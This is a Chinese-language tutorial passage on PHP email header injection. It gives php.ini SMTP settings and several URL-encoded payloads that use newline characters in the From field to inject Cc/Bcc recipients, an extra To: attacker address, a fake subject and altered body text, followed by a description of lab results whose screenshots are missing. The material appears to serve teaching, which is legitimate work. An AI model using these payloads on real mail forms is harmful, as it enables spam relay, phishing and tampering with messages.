PHP头条
热点:

4. 邮件注入示范

notice:

为了使用PHP作为邮件发送代理,我们需要对PHP.INI进行简单的配置:

  1. [mail function] 
  2. ; For Win32 only. 
  3. ; http://php.net/smtp 
  4. SMTP = smtp.qq.com 
  5. ; http://php.net/smtp-port 
  6. smtp_port = 25 

出于演示目的,我们将使用前面的带漏洞的代码。此外,我们将提交下列值作为发送邮件的参数:

  1. mail("littlehann@foxmail.com", "Call me urgent", "Hi,nPlease call me ASAP.nBye", "From: littlehann@foxmail.comn") 

表单发送的HTTP数据包:

从攻击者的角度来看,有许多额外的字段,可以被注入在邮件标题。更多信息见RFC 822。例如,CC(抄送)或者BCC(密送)允许攻击者插入更多的消息。

但要注意的是,我们在添加一个新的参数之前,我们必须增加一个换行符分隔每个字段。换行符的16进制值为"0x0A"。下面是一个demo code。

1) Cc/Bcc注入

在发送者字段(sender)后注入Cc和Bcc参数
From:sender@domain.com%0ACc:recipient@domain.com%0ABcc:recipient1@domain.com
所以现在,消息将被发送到recipient和recipient1账户。

2) 参数注射
From:sender@domain.com%0ATo:attacker@domain.com
现在消息将被发送到原来的收件人和攻击者帐户。注意,这里的攻击者的账户是我们通过注入额外传入的。

3) 邮件主题注入
From:sender@domain.com%0ASubject:This’s%20Fake%20Subject
攻击者注入的假的主题subject将被添加到原来的主题中并且在某些情况下将取代原本的主题subject。这取决于邮件服务行为。即代码编写的容错性,当参数中出现两个subject的时候代码是选择丢弃还是后者覆盖。

4) 改变消息的主体body
要注意SMTP的Mail格式,消息主题和头部Header之间有两个换行符(和HTTP是一样的)。
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
假消息将被添加到原始消息中。

5. 实战演示

这里提示一下,直接配置php.ini原生的email功能可能不太好用,配置起来也麻烦,建议采用一些第三方的Email系统(WP就挺不错的)进行发送,这个模块已经把相关的交互和HTTP数据包的构造封装好了。

附带上一些实验截图:

1) 正常发送

2) Cc/Bcc注入

在From字段添加Inject Payload

发送邮件后,增加了抄送的功能:

3) 邮件主题注入

我们在from的参数加添加subject字段:

接收邮件后:

可以看到,原本的subject被注入语句覆盖了一部分内容,但是具体是覆盖还是附加和具体的PHP代码编写逻辑有关,因为现在CMS对Email发送的普通做法就是利用PHP进行HTTP/HTTPS数据包的构造,先在本地构造好数据包后,再想服务器发送。

所以不同的系统对email注入的效果会有所不同。


www.phpzy.comtrue/php/20907.htmlTechArticle4. 邮件注入示范 notice: 为了使用PHP作为邮件发送代理,我们需要对PHP.INI进行简单的配置: [mailfunction] ;ForWin32only. ;http://php.net/smtp SMTP = smtp .qq.com ;http://ph...

相关文章

PHP之友评论

今天推荐